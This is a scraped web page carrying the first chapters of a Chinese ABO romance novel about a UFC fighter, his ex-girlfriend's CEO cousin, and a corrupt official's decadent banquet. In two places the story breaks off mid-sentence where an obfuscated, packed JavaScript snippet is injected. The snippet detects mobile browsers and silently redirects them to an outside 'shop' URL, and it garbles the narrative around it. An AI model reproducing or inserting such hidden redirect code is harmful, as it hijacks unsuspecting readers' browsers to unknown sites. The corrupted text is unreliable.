《他揣着娃进了八角笼ABO》 1. 你配不上我堂妹 下午三点的时间,闻人律被秘书陆庭风一个电话叫到了位于大厦九楼的OPAL西餐厅。 惦记着半个钟后还要跟各部门经理开会,他拧着眉走进餐厅,穿过大堂和回廊,终于在绿意盎然的中庭里看见了正抱着盘子大快朵颐的自家秘书。眼中不禁露出几分烦躁,闻人律在他对面坐下:“有什么事非得叫我下来,你上楼跟我说不是一样的?” 陆庭风面前摆着三个盘子,其中两碟已经空了,只剩下一盘奶油蘑菇意面还没有动。他喝一口青柠水,又擦擦嘴,无奈地为自己叫屈:“律哥——律总,我从早上开始就被你支使得团团转,午饭都没吃。待会儿还要去钟书记那边帮你打探江源那块地的口风,你就屈尊下楼来听我汇报一下工作怎么了?……你这样奴役我啊,要是让我爸知道了,他指定得把我叫回去!反正我在你这儿也学得七七八八了。” 他指控得有理有据,加上两人又是世家的交情,闻人律也不好再训他,转而问起其他事情:“去过训练馆那边了?” 这时服务员递来菜单,他点了杯冰美式和一份培根沙拉,自己也顺便吃个下午茶。陆庭风感觉还有点儿饿,遂拿起叉子,开始享用奶油蘑菇意面:“去了,曹教练正好在。他说,洛城上个月就结束丧假回来了,只不过备赛不专心,总是心不在焉的,最近还翘了好几次训练。几个教练都对他颇有微词,但他妈妈刚走没多久,大家也不好说他……这不,让我托你去敲打他一下呢。你是老总,他不听别人的话,总得听你的。” 闻人律听了,不置可否,发出一声冷笑:“你知道他为什么心不在焉吗?” “为什么?” “上星期他跟小晴求婚了。小晴本来就是跟他随便谈恋爱玩玩的,没想到他当了真,还说什么,想尽快生个孩子?真是癞蛤蟆想吃天鹅肉……出名不过三年而已,就不知道自己几斤几两了——闻人家的千金也是他能肖想的?” “你三叔家那个Omega堂妹啊?”陆庭风微微吃了一惊,忍不住钦佩地笑起来:“人有多大胆,地有多大产,洛城还挺有冲劲的嘛。” “光有冲劲顶什么用?得有脑子才是。现在小晴要跟他分手,他不愿意,四处围追堵截,又怎么有心思好好备赛?”越说越烦躁,闻人律眉头紧锁、面若冰霜,服务员上菜时都不敢看他,放下餐盘轻哼一声“请用”就跑了。 挑剔地垂眸看一眼盘中翠绿的蔬菜和深红色的培根,沙拉酱白腻腻地网在上面,他忽然感觉不饿了,倒是极想抽一支烟。手指摁在烟盒上数秒,最终还是松开来,冷哼一声:“现在距离比赛只有一个半月,以他这样的状态,我都不知道他拿什么跟格伦奥康纳打!” “安心啦~”陆庭风倒不以为意,优哉游哉地一边吃面一边宽慰他:“洛城是职业运动员,不会拿自己的排名开玩笑的。而且这场数字赛是你好不容易跟Dana谈下来的,相信他也不会那么不识好歹……说不定这会儿他已经在场馆训练了呢?” “……但愿如此。”不以为然地淡淡一哂,闻人律端起咖啡慢慢啜饮着,忽然被陆庭风在桌子下面轻轻踢了一脚:“你看中庭对面,水池边上那人是谁?” 他语气讳莫如深,闻人律顿时感觉不妙,拧眉望去,就见话题的主人公此时正坐在不远处,人高马大一身运动服,长腿从桌边撇到过道里,外套大喇喇敞着,仿佛生怕别人不知道他是个运动员。 洛城其实长得相当显眼,他身材高大强壮,五官野性不羁,曾被网友票选为“最性感的运动员”第二名。但闻人律对此不屑一顾。在他看来,“性感”不过是粗野的代名词而已,根本经不起仔细品味。 就像此时此刻,洛城没点餐食,垂着脑袋心不在焉地一直摁手机。那头天然卷的乌黑短发在一众油光水滑的上班族当中显得特别突兀,加之皮肤又黑,坐无坐相,与旁人的端正格格不入,仿佛优雅鹿群中闯进了一只不修边幅的黑狼。 闻人律的面色不禁又冷了一层。 “要我叫他过来么?”陆庭风低声问。 闻人律没有回答,只是面目森冷地将咖啡杯往杯碟上不轻不重地一磕,安静空旷的绿植中庭里顿时响起了刺耳的“噹——”声。 大半人都望了过来,其中也包括不远处的洛城。 -------- 说实话,洛城挺怵他这个老板的。 虽然自己比闻人律大个三岁,两人都是正值盛年的Alpha,身材也差不多,可每当站在这个俊美果决、无懈可击的人面前时,洛城却总是有种被审视、被瞧不起的错觉。就像现在,隔着一整个中庭、几乎二十米的距离,他都能感觉到这个人对自己的不满。那种嫌弃是全方位的、铺天盖地的,不管是在公事上还是私事上,他对自己都有很大的意见。 看见闻人律一脸冷酷地冲自己招手,洛城心虚地思索几秒,还是站起身走了过去。他长得高大,身高足有一米八氿,但在这些打扮光鲜亮丽的白领们的安静注视之下,他仿佛察觉到了自己的格格不入,双手双脚逐渐变得僵硬,脚步愈发机械。 终于,他立到闻人律面前,含糊地打招呼:“老板。”对方没答话,只是眼帘一撇,抬手点点桌边,示意他坐下。洛城看到他手腕上那块精致华丽的手表,是什么牌子来着……好像叫百达翡丽。心底不禁悻悻地轻哼一声,他悄悄腹诽道,这有什么,我也有呢,劳力士,只是戴不惯罢了。 抬眼又看见他高档的戗驳领西装,领口比其他牌子略宽大些,洛城记得是叫Tom Ford。这个发音奇奇怪怪,第一次听时他就颇觉好笑,私下底叫它“豆腐”。现在冷不丁又看见,洛城站在那儿,有些不合时宜地笑了一下,配上他倜傥不羁的容貌,更显得随性散漫。 “笑什么?”闻人律冷盯着他,肃然神色仿佛一座冰原火山:“距离比赛只有一个半月,你不好好备赛,在这里傻坐着等谁呢?” “……没等谁,心情不好,坐坐而已。”洛城自然不会傻到说自己在蹲闻人晴。他明白老板的态度——又或者是整个闻人家的态度:穷小子跟富家千金在一起,即使这个穷小子凭着一身武艺打到了国际格斗赛事UFC的轻重量级第五名,他依旧是配不上千金大小姐的。 所以这些人的意见无需考虑,洛城梗着脖子想。只要小晴答应就好了。 他不承认,闻人律也懒得审问他,干脆双臂环胸靠进沙发里,像狱警训诫犯人一般冷声斥道:“洛城,你能不能专心一点?你的整个备赛团队都在训练馆等你,曹教练今天还让陆秘书问我,这次比赛你还想不想打了?如果你不想,好,他们可以去帮别的选手备赛,我也可以尽早跟Dana说要换人。反正大把选手排着队想跟奥康纳打,不差你一个!” 被他训得没脸,洛城一言不发地立在那儿,运动外套里的十指用力攥成拳,嘴角亦是紧抿。闻人律注意到他咬紧牙关的微表情,这个一贯大大咧咧的Alpha,原来也有几分羞耻心。他心中微定,冷峻矜贵的面容也融化了些许,语调平缓下来:“……别在这儿浪费时间了,快回场馆备赛。这场比赛要是输了,你想要的东西更不可能得到。” 被他刺得呼吸一窒,洛城似乎想到什么,没再犯犟,点头说一声“好”,转身离去。 望着他有些急切的背影,陆庭风不禁耸耸肩,侧头问闻人律:“你说,小晴之前跟他在一起,是图他什么啊?” “长得还算帅吧,身材也是顶级。”把人赶回训练馆,闻人律总算有胃口了,端过沙拉有条不紊地往嘴里送:“脑子虽然蠢点儿,但外形在体育界还是数得着的……小晴从小到大没见过这一款的Alpha,尝试一下也无可厚非。” “哎,只可惜落花有意,流水无情呐~”把意大利面吃干净,陆庭风终于有了满足感,不紧不慢地擦擦嘴,又抬起手腕看时间:“三点二十分,正好,不耽误你回去开会。你慢慢吃吧,我继续奔波了……别忘了帮我买单啊。” 感情这人是把自己哄下来结账的?慢条斯理地咀嚼着,闻人律瞥他一眼,见他手里提着个公文包,想来那里面应该是江源地块的开发企划书。陆庭风走得优哉游哉,公文包拿在手里一摇一晃,走到餐厅出口时,却忽然停下了——闻人律诧异地顿住,发现堂妹闻人晴不知何时出现在这里,跟陆庭风打过招呼后便抬头望向这边,娉娉婷婷地走了过来。 闻人家的孩子都长得俊美清贵,这位Omega晴小姐也是如此。看着堂妹优雅的仪态与美丽矜持的面庞,闻人律又不禁想,洛城是怎么敢跟她说出结婚生子的请求的?……他配吗? “哥。”轻轻唤他一声,闻人晴的声音是清冷款,听起来有些难以接近。闻人律点点头,问:“来喝下午茶?” “嗯。有时候忘记吃午饭,就来这里对付一下。” 难怪洛城会来这里蹲守。念及他心不在焉的状态,闻人律思忖几秒,还是决定过问一下堂妹的私事:“你跟洛城还没断吗?” 闻人晴刚跟服务员点了一杯咖啡和一份舒芙蕾,闻言手中一顿,放下菜单,略显为难地叹气道:“我是跟他断了……但是他不想断。” “还是想跟你结婚?”闻人律不屑地冷笑。 “后来改口了,说继续谈恋爱,可我本来就没打算跟他纠缠太久的,一年多已经是极限。我说我不想谈了,他又问我是不是他哪里做得不好,他可以改,不想结婚他可以等……我都不懂该怎么说出口。” “有什么不好说的?”闻人律不置可否:“说实话就是了。你跟他门不当户不对,一个天上一个地下,云泥之别,谈一年恋爱已经是他天大的幸运……” “……哥,”闻人晴无奈地打断他,“洛城没这么不堪。他虽然有点小毛病,但对我还是挺用心的,只不过层次差了一些而已。” “小晴,现在不是你维护他的时候。”放下叉子,闻人律将沙拉盘推到一旁,拿出手帕不紧不慢地擦了擦嘴,又用桌上的湿巾擦干净手,随即端坐着望向妹妹。他目沉如水,闻人晴被看得心虚,不得不垂下眼眸,躲避他洞察的视线:“现在他光顾着对你死缠烂打,连训练都翘了,让一群人在场馆干等着他,什么都做不了。这样下去他会输掉比赛的,而且会输得很惨,到时候什么代言、什么广告,通通掉得一干二净,这不是赔了夫人又折兵么?” 闻人晴垂眸不语,唇角抿着,似乎还是狠不下心。 见状,闻人律又道:“当断不断,反受其乱。小晴,长痛不如短痛,现在于公于私,你都应该彻底地拒绝他,这不仅是为了你好,也是为了他好。” “那……”犹豫地拿出手机,闻人晴终于抬起头,为难地看向堂哥:“我该怎么说?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572135|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你说不出口是吗?”闻人律定定地睨着她,眉头微蹙,好像有些恨铁不成钢:“行,给我,我来帮你说。” 踌躇两秒,闻人晴点开微信,将手机递了过去。闻人律定睛一看,对话框里全是洛城狂轰滥炸的挽留话语,最新一条甚至就在五分钟前!不禁沉下脸,他冷冷地轻哼一声,十指飞快地打出几行字,毫不犹豫地发了出去。闻人晴本想先确认一下内容,但眨眼之间,那条信息便出现在了对话框里: “洛城,我们之间已经结束了。我本来就没打算跟你谈太久的,这跟你求不求婚没有关系。你不求婚,我最终也会跟你分手,因为我和你根本就不是同个世界的人,我们之间不可能有结果。有时候人要有自知之明,不要妄想不属于自己的东西。你以后别再纠缠我了,说真的,有点难看。” 不禁轻吸一口凉气,闻人晴喃喃地道:“……太冷酷无情了吧。” “这是实话。”闻人律面无表情,无动于衷地端起咖啡啜饮了一口。 ------------- 在训练馆更衣室看见这条信息的时候,洛城几乎羞愤地摔了手机。 他把手机扔到角落,颓丧地坐到更衣室椅子上,结实长臂支起来,撑着额头沉沉呼息,久久难以平静。刚刚才勉强收回的心思瞬间又散了,他烦躁地闭上眼,不禁想起了求婚当日闻人晴愕然的表情,和方才闻人律高傲而审视的眼神……洛城不明白,自己只是想要个家,想要一个孩子,有这么十恶不赦吗? 他已经三十一岁,年纪不小了。之前追小晴时他就存了结婚的心思,优雅、高贵的美丽Omega,一直是他钟情的类型。在一起的第一天,他就忍不住发信息跟妈妈炫耀,说交到了最中意的女朋友!看,美不美?彼时妈妈应该在跟街坊打麻将,好半晌才回复一条语音,大笑着奚落他:“你娶回家再说吧!” ……然而时过境迁,妈妈已经走了,他却还没有娶到小晴。 看来以后也娶不到了。 这时更衣室外头走进来一个人,脚步逐渐停到他身侧,伸手一拍他肩:“城哥,你干嘛啊,曹教练他们都等着呢!” 是他的经纪人李志明。 抬起头,对方看见他难堪的神情,愕然一会儿,立即猜到发生了什么事:“晴小姐还是不肯跟你继续啊?” “……她说从一开始就没打算跟我结婚,只是谈着玩玩的。”气馁的高大斗士像一只战败了的大型猫科动物,强壮却又落魄。李志明无奈地拍拍他肩,轻啧一声,语重心长道: “我早就跟你说过,你们俩啊,不可能长久,你偏不信!之前那么多人追你,有模特,有演员,有富婆,可你呢?偏要去追求高岭之花!高岭之花是那么好追的吗,你追到了,能有结果吗?……就算她愿意,她爸妈也不是傻子啊!一大堆门当户对的青年才俊不选,选你这个卖弄拳脚的?你觉得可能吗?” “你说什么,什么卖弄拳脚?!”面色猛然一沉,洛城虎目圆瞪,仿佛颓丧大猫龇出獠牙,气势陡然升腾。李志明吓得浑身悚立,赶忙改口:“我是说,那些有钱人可能不喜欢体育明星……你不如挑个崇拜你的。” “可我就是喜欢高贵的,怎么样!那些庸脂俗粉怎么能跟小晴比!”只听呯的一声,洛城一砸椅子,犯了犟脾气。李志明不敢再劝了,只得讪笑着搪塞:“行行行,高贵的好,旁人确实比不上。城哥,你以后一定能娶到一朵高岭之花,啊?一定可以!”说着,他想起此行的目的,斟酌几秒,又道:“倒是比赛……城哥,你收收心吧!公司好不容易帮你把比赛谈下来,宣传费已经砸了两百来万,你不能掉链子呀!” 听到“两百来万”这几个字,洛城好像想起了什么重要的事,忽然抓住他衣服:“之前你说帮我投资的那个项目呢,你说有内部消息的那个,现在还能退出吗?……反正女朋友飞了,我也不着急赚钱了,还是安安心心打比赛吧。” 李志明一听,面色微变,随即挤出一个谄笑:“哎哟我的城哥哎,这进行到半途的项目怎么可能退出啊?虽说你跟晴小姐分手了,但老婆本还是要攒的啊,靠打比赛你能攒几个钱?公司分一分,教练团队再分一分,到你手上也就三成,不投资怎么行呢?你就放心吧,再过三个月就能回款了,到时候轻轻松松净赚50%,不比你打比赛轻松多了?” “……真的?”对投资不大了解,洛城将信将疑的,也没再坚持。李志明忐忑地打量着他,见他低头不语,眼珠子不禁一转,笑嘻嘻地又凑上去道:“哎,城哥,我看你也没心思训练……要不,今晚你就先放松一下?我知道有个很盛大的聚会,美酒多,美人也多,参加的人都是非富即贵……” 非富即贵?洛城不知怎的想到了闻人律傲慢的嘴脸,忍不住“哼”一声,耿耿于怀道:“得了吧,我一介武夫,那些人又怎么会正眼看我?” “哎呀,叫你去寻欢作乐,又不是让你跟他们打交道,你在意那么多干嘛!喝喝酒、撩撩妹,找回单身的快乐,岂不美哉?”李志明殷切地游说着,见他犹豫,又激将道:“哥啊,晴小姐都把你甩得那么彻底了,难道你还要为她守身如玉?……不至于吧。咱们潇洒点儿,好聚好散,别让他们看扁了你。” 这话似乎戳到他心中痛处。洛城眉头紧蹙,面色沉郁地思索一会儿,最终点了点头。 2. 乌烟瘴气的盛筵 晚上七点,为了听方案汇报,闻人律跟策划部门一起加了会儿班。 天气有些闷热,他忍不住脱了西装外套,将衬衫袖口挽起来,露出结实的小臂。结束之后,他靠在沙发里稍稍休息几分钟,除下袖箍正要回家,陆庭风却风尘仆仆地回来了,一进办公室便把他摁回沙发上,正色道:“……你可别怪我自作主张。这已经是钟书记第三次暗示了,你再装听不懂,江源C22-3那块地,跟咱们可就真的没关系了。” 闻人律一听,眉心立刻皱起来,那表情仿佛看到了什么恶心的蛆虫。陆庭风忍不住“啧”一声,叫道:“大哥啊,你一个外来户,想分申城的蛋糕,人家不是不给你机会,但你不能一点把柄都不往外送啊!现在做生意讲究什么?讲究一个休戚与共,单单使钱是没有用的——申城这地界上,谁没有钱呢?你要跟他们变成同一根绳上的蚂蚱,人家才敢跟你做生意啊!” “……就非得去参加他们那些乌烟瘴气的什么盛筵?”闻人律的面色相当抗拒,似乎想到了什么不堪入目的事。 陆庭风叹口气,无奈道:“这就像以前老电影里演的,加入□□,首先要去刀个人,人家才信你。你不纳投名状,他们怎么会把你当自己人呢?……律哥,你现在不在京城了,一切关系都要从头经营。你想要打进这个圈子,就只能跟他们……”陆庭风好像想说同流合污,但话到嘴边又咽了回去,换一个词:“同气连枝。” 望着地毯上繁复的花纹,闻人律狭长的眼眸低低压着,脑中数个念头剧烈斗争。想到那些荒唐又奢靡的画面,他胃里翻腾起一股作呕的感觉,久久压不下去。过了好半晌,他似乎终于做了决定,闭上眼了无生气地道:“……在哪里,什么时候。” 陆庭风立即振奋:“在洲际酒店三十楼贵宾宴会厅,就今晚!”转念又露出个谨慎的表情:“你易感期还远着吧,药带了没?……那地方信息素乱窜的,你可别失控。” 闻人律回他一个倨傲的表情:“我们家的人才不会失控。” “行行行,知道你们都性冷淡。”陆庭风不禁翻了个白眼。 衣服没换就赶了过去。 刚解下来的袖箍又戴上了,恰到好处地控制着衬衫袖口的露出度。闻人律感觉自己身上有些汗味,凑近闻时能嗅到淡淡的Alpha气息,这让他有些烦躁——闻人家的成员惯来克制冷感,不屑于张扬自己的性别特质,像那种在众目睽睽之下进入热潮期或者易感期的失控行为,甚至会被他们视为毕生的耻辱。 为了避免这一窘境,他们家的成员每半个月会抽血查一次激素,若监测到波动,之后的一个星期便会服用抑制药剂或者减少外出,尽量待在家里。从十八岁成年到现在,将近十年的岁月,闻人律一共经历了十一次易感期,每一次都从容度过。他毫不怀疑地相信,第十二次也将会是同样情形,无惊无险,毫无波澜。 晚上九点,他到达洲际酒店。下车时司机问他:“老板,要我等你吗?”闻人律想一想钟书记那只老狐狸,摇了摇头:“不用了,你下班吧,明早八点来这里接我就行。” 穿过富丽堂皇的高阔大厅,他走进电梯,在电梯厢里看到了几张眼熟的面孔。其中一人长着双短圆眼睛的,好像是申城廖家的公子。两人碰巧对视,对方诧异地上下打量他一眼,露出个意味深长的笑:“闻人少爷!想不到在这儿看见你,真巧啊。” 闻人律笑笑,心中不置可否:“是啊,真巧。” 随着电梯上行,轿厢里的人陆续下乘,到最后只剩了四个人。闻人律面朝出口站在最外侧,从电梯光亮的厢壁上可以看见其他三人的举动——他们都不动声色地靠着扶手,视线若有若无地往自己后脑勺游移,不时交换一个心照不宣的眼神,似乎对他的妥协感到幸灾乐祸。 不一会儿,电梯到达三十层,身后的廖公子忽然笑起来,勉强搭上他的肩,将他往大厅门口带:“闻人公子第一次来吧?要不要我带你熟悉一下,今天这个宴会,出席的人不少,都是我朋友!如何,为你引荐引荐?” 他个子不算高,但硬要将手臂搭上来,拽得闻人律有些不舒服。若换了以前,闻人律一般会婉言拒绝,但如今他有想做的事情,为了达成目标,也只能对现实低头:“好啊,那就有劳廖先生了。” 宴会厅分为两个入口,一个高大开阔,一个隐蔽狭小。被廖允智搭着肩入场时,闻人律往转角处的次入口瞥了一眼——那里正大排长龙,熙熙攘攘全是打扮得花枝招展的Omega或Beta,男女皆有。 几个看上去保镖模样的人正逐个收手机,表情凶神恶煞的,一边收一边警告:“什么设备都不准往里带!老实点儿啊,里面还有一道安检,别心存侥幸,不然叫你们吃不了兜着走!”又每人塞一颗避孕药,看着他们吞下去:“张开嘴巴让我看一看?舌头底下有没有?” ……真够谨慎的。 一进入大厅,闻人律便觉出这次宴会的不同:灯光太暗了、太暧昧了,若不是各个卡座上摆着变色的波纹氛围灯,简直就看不清在座之人的长相。场中的音乐也有些震耳,想聊天只能凑得很近。一路行去,他看见所有人都在交头接耳,要不就是喝着酒大声说笑、搂着美人动手动脚,神情亢奋,好像进入了一种癫狂的状态。望着他们手里五颜六色的酒液,闻人律不动声色地皱一皱眉,心中的抗拒更重了一分。 廖允智带他跟许多人打招呼,有他本就认识的,也有只听过名字的。闻人律记性好,握手之后便将这些面孔一一对号入座,在脑海中形成了申城的人物关系网。但是逛了大半个会场,他却始终没有看到钟书记的身影。廖允智似乎也不清楚这位大人物的踪迹,只拉着他寻欢作乐,问他这个Omega喜不喜欢?那个Beta中不中意? 想到陆庭风的叮嘱,闻人律心不在焉地望向眼前这位娇俏清纯的长卷发Omega,犹豫一瞬,点了点头:“还不错,就她吧。” 柔软的身躯立即贴上来,紧紧挽住他的手臂。对方显然很满意他的长相,一张俏脸笑得十分情真意切:“闻人老板,原来你 真的这么帅啊!我还以为那些新闻图片是美颜过的呢,想不到你真人比图片还要帅!” 闻人律敷衍地扯扯唇,没有回答她。正漫不经心地四处打量,身后忽然有人拍他的肩。扭头望去,他看见了申城四大家族之一——白家的二小姐白镜明,正一脸轻闲地翘脚坐在卡座里,长长伸展的手臂中各靠着一位美人,巧笑倩嫣地依偎着。 三十七岁的Alpha容貌成熟而威严,闲适之中透着一股倨傲的气息,冲自己不紧不慢地招手。闻人律记得陆庭风曾说过,白家也有意C22-3地块,想买下来开发一个商业综合体。于是他便从善如流,坐了过去:“白小姐。” “以前没怎么在这类场合见你。”白二小姐递给他一杯酒,金褐色酒液,杯口搭着一条橙皮卷,细小气泡缓缓升腾,像是内格罗尼。尽管明白这里头应当加了料,但闻人律也只得接过来,面不改色地啜饮一口:“好几次想来,但临时有事,只能憾缺。今天本来也有个会议,幸好改期了,不然我也是没法儿来的。” “是吗。”白二皮笑肉不笑的,也不知信没信。两人约莫是第三次见面,依旧像前二次那样,聊得不咸不淡,她不问闻人律今天来干嘛,闻人律也不问她有没有看见钟书记。两人相互虚与委蛇,可以说是十分默契,对某些事情都避而不谈。 半晌,宴会厅东侧舞台方向陆续聚集起一小群人,白二朝那边睨一眼,随即对闻人律露出一个颇为兴味的笑:“闻人公子,要不要过去玩玩?” ……闻人律当然是不好拒绝。 跟着白二走过去,在迷幻流转的灯光之中,他逐渐看清了那群人脸上兴奋的表情,心中不禁冒出一种不妙的预感。身旁的Omega倒是很有经验,兴致勃勃道:“闻人老板,你喜欢人体盛筵吗?我以前做过盛体模特,他们都夸我身材很好,皮肤白得像瓷一样……” 人群为白二让出一条路。他们走到近前,闻人律定睛一看,果然是人体盛筵。不过他十分清楚,这种聚会的人体盛筵跟普通的规格是不一样的。撇开包装、形式不谈,单说内容——闻人律不知道这世上还有哪些合法的肉是自己没吃过的。但此时此刻,看着眼前这两具优美身体的胸口处用绿叶整齐装盘的鲜红肉片,他愣是没认来出这是什么肉。 这时,白二递过来一双筷子和一个小盘,意味深长地看向他:“不尝尝吗?” 到了这个地步,说不尝就前功尽弃了。闻人律硬着头皮接过来,在眼前的人体上环顾一圈,视线掠过摆在侧腹上的金枪鱼大腹,终于在大腿处发现了自己能吃的小菲力生牛片。他状若随意地夹起一片送入口中,咀嚼一番,淡淡评价:“不错,很新鲜。” 白二静静注视着他,视线始终没有从他脸上移开。半晌,她轻笑一声,朝盛体的胸口处努了努嘴,提醒道:“那一盘才是精华,你不尝尝吗?” 闻言,闻人律的筷子在盘中停顿一瞬,随即云淡风轻地伸出去,夹了片鲜红色带一层薄薄黄色脂肪的肉放进口中,慢慢咀嚼了三下、五下,喉头轻咽,好似吞了下去:“稍微有点酸,没有我以前在京城吃的好。” “是吗?”至此,白二的视线终于收了回去,意兴阑珊:“这次是罗家老四的局。他一个毛头小子,不够老练,估计被人诓了。”说着,她招招手,又将闻人律带了出去。 走出人群后,她转过身,懒洋洋地朝楼上指了指:“上去吧,钟书记在包间里。”闻人律刚把那块肉吐在手里,背到身后,闻言心中不禁一悚,抬头向上望去,这才发现上边居然还有一个夹层,就像歌剧院的包间那样,圆圆的半个弧形阳台凸出来。而五十八岁的申城市□□钟为鸣,此时就坐在那上边,垂着眸似笑非笑地看着自己。 闻人律的后颈不禁绷紧了,机械地朝他点了点头, 将那块肉隐蔽地丢在人群中,他走进包间楼梯,一边朝上走,一边掏出手帕擦手心。身旁的Omega ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572136|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有些紧张,搂着他的胳膊小声问:“那个人是谁啊?” 闻人律冷声道:“不是谁,你别瞎打听,待会儿也不要说话。” 俏丽的Omega女生立即闭紧了嘴巴。 包间里只有钟书记和他的秘书张鹏两人。见他进来,张秘书立即笑着迎上前,将他引至沙发边:“闻人先生真是稀客,今天是什么风把您吹了来?” 闻人律短促地笑笑:“前阵子太忙,今天终于告一段落,就赶紧来了。” “……坐。”钟书记招呼他坐下,花白眉毛下那一双矍铄的眼睛仿佛能洞察所有,一切秘密都无处遁形。闻人律不知道自己吐出那块肉的小动作有没有被发现,他心里隐隐打鼓,但这时也只能装作无事发生。 张鹏给他倒了杯茶,闻见熟悉的香味,他轻吸一口气,镇定道:“钟书记喜欢喝茶?正巧我那儿有一罐武夷山大红袍,过两天带给您品一品。” “是吗,哪年买的啊?”钟书记似笑非笑的,双手交握搭在身上,姿态轻闲,绝口不提地块招标的事,他也只能按兵不动: “我也不清楚,十二年前别人送的,一直没开封,想来也有十五六年了吧。” “那我可得好好见识一下。”钟书记这样说。这时,他撇眼望向闻人律身边娇俏的Omega,又道:“原来你喜欢这一款?卷头发,小个子?” 还没等闻人律开口,Omega女生便扭一下身子,娇嗔道:“老先生,人家个子不小了,是闻人老板长得太高~” “哈哈哈哈,对对对,这位闻人老板长得确实高,而且一表人才,你伺候他也不亏!”钟书记终于露出了快意的表情,哈哈笑着,不知是真情还是假意。末了,他装模作样地瞪闻人律一眼,催促道:“你看人家这么中意你,还不快去开个房间,好好享受享受?……年轻人要知道放松,明白么,别总是想着工作,一板一眼的,这样哪儿能交到朋友?” 他这话就是明晃晃的赶客了,同时也有敲打之意。闻人律知道不能操之过急,今天只能暂且作罢,微微点头道:“好,那我先告辞了,以后再去拜访您。” 挽着Omega女生起身离开,走到门口时,钟为鸣忽然不疾不徐地说了一声:“别以后了,就后天下午吧。四点半你带茶过来,咱们好好聊聊。” 顿时精神大振,闻人律扭头望向他好整以暇的幽深双眼,郑重地微鞠一躬:“好,晚辈一定准时到达。” 离开包厢,他走进嘈杂的人群里,心头终于松了一口气。直到这时,他才发觉自己浑身异样地发热,后背好像出了汗,衬衫黏黏地与皮肤粘在一起,十分不适。娇俏的Omega女生紧紧搂着他胳膊,见他心情似乎不错,便适时开口:“闻人老板,我们去休息吗?他们把楼下二层的客房都包下来了,咱们找管家领张房卡就行。” 闻人律本就有留宿的意思,加上怕被钟书记发现端倪,此时便没有拒绝:“行,那你去拿张房卡,要套间。” “好~”顿时大喜过望,Omega女生翩然离去,他则深呼吸几秒,将领带拽松一些,靠到墙边给陆庭风发信息:“跟钟书记见上面了,他让我后天下午四点半去找他。你记得我那盒武夷山大红袍放在哪儿吗,是不是在办公室?” “真见上面啦!”陆庭风也十分振奋:“那罐茶叶好像在会客室,上个月我还看见。” “行,那后天你跟我一起去。” 发完信息,他将手机塞进口袋,对着眼前靡乱的人群深深叹了一口气。此时的宴会厅已经变成一片意乱情迷的海洋,四处纠缠的人影不堪入目,空气中飘荡着浓浓的酒味、烟味、纷乱的信息素味、以及一种微微腐烂的气味。不禁拧起眉,闻人律掏出一个扁扁的小药盒,从里头拿出了一枚药丸干咽下去。一股浓重的苦味立即在舌尖弥漫开,苦得几乎有些烧舌头,但却异常的令人安心。 等了五分来钟,那个Omega还没回。闻人律不禁烦躁地抬起眼在人群中搜寻,在视线掠过酒水吧台时,他却意外地发现了一个熟悉的身影——洛城居然西装革履地出现在这里,不仅刮了胡茬,一头卷发还抓了发蜡,随性地向后捋去,正坐在吧台边闷着头喝酒。 往常不修边幅的人这么一打扮,立即展露出属于顶级运动员的耀眼星光,吸引了七八个衣着暴露的Omega,姿态妖娆地粘着他、蹭着他。但这人好像全不在意,只一边敷衍一边睨着手机,兴致缺缺。 大概是喝醉了吧。闻人律鄙夷地想。刚分手就跑来这种场合厮混,看来他对小晴也不是那么情根深种……不过这样也好,等小晴知道了今晚的事,就绝对不会再心软了。两人分得干净,洛城也能好好备赛,一举两得。 这时,那个Omega女生拿着房卡气喘吁吁地穿过人群跑了过来,搂住他胳膊:“我领到啦!二十九楼2906,咱们下去吧!” 没有回答她,闻人律下意识扭头望一眼钟书记的包间方向,随即屏息静气,从乌烟瘴气的人群边缘走向了宴会厅出口。 3. 你是谁? 洛城没想到这种甜甜的酒居然也挺能醉人的。 他喝了三杯鸡尾酒,一杯浅金色的,一杯深红色,还有一杯蓝莹莹的,叫什么……明天见?三杯下肚,饶是他酒量颇佳,此刻也有些晕乎乎的了。 音乐太吵,思绪太散,他压根没注意到远处舞台上聚集的人群,只沉浸在自己的小世界里。边上那些Omega仍在孜孜不倦地骚扰,哄他去开个房,反正大老板包场,不用付房钱,大家可以一起开心开心。 这提议……若换了二十岁刚出头的他,可能还会答应,但现在三十一了,某些事情已经不再新鲜。对于此时此刻的洛城而言,跟他们厮混还不如刷小宝宝视频来得有吸引力。 点了一支烟慢慢抽着,他觉得有些热,便脱了西装外套放到一旁,撑着脑袋百无聊赖地继续刷手机。 前两天他无意间看到一个两岁小宝宝的视频,小朋友偷喝妈妈的可乐,被严肃批评,于是企图萌混过关。被那娇憨可爱的模样触动了心中渴望,洛城忍不住看得久了些,反复刷了四五次。接下来的两天,他再打开app,接踵而至的便全是形形色色的可爱小宝宝——短视频平台已然掌握了他的想法。 以前洛城对小孩儿是无感的,但步入而立之年,他愈发觉得小孩子亲切可爱。那种慈父一般的溺爱心境每次都会被肉团团的小婴儿所触发,看着他们天真无邪的圆眼睛,洛城甚至感觉到小腹在酸楚地发胀……陌生的热流一路上升,汇聚到心窝,软融融的、热乎乎的,像一块果冻,一碰便会漾开圈圈波纹。他明白,自己应该是想当爸爸了。 年纪愈长,愈渴望家庭。他是个普通人,自然不能免俗。 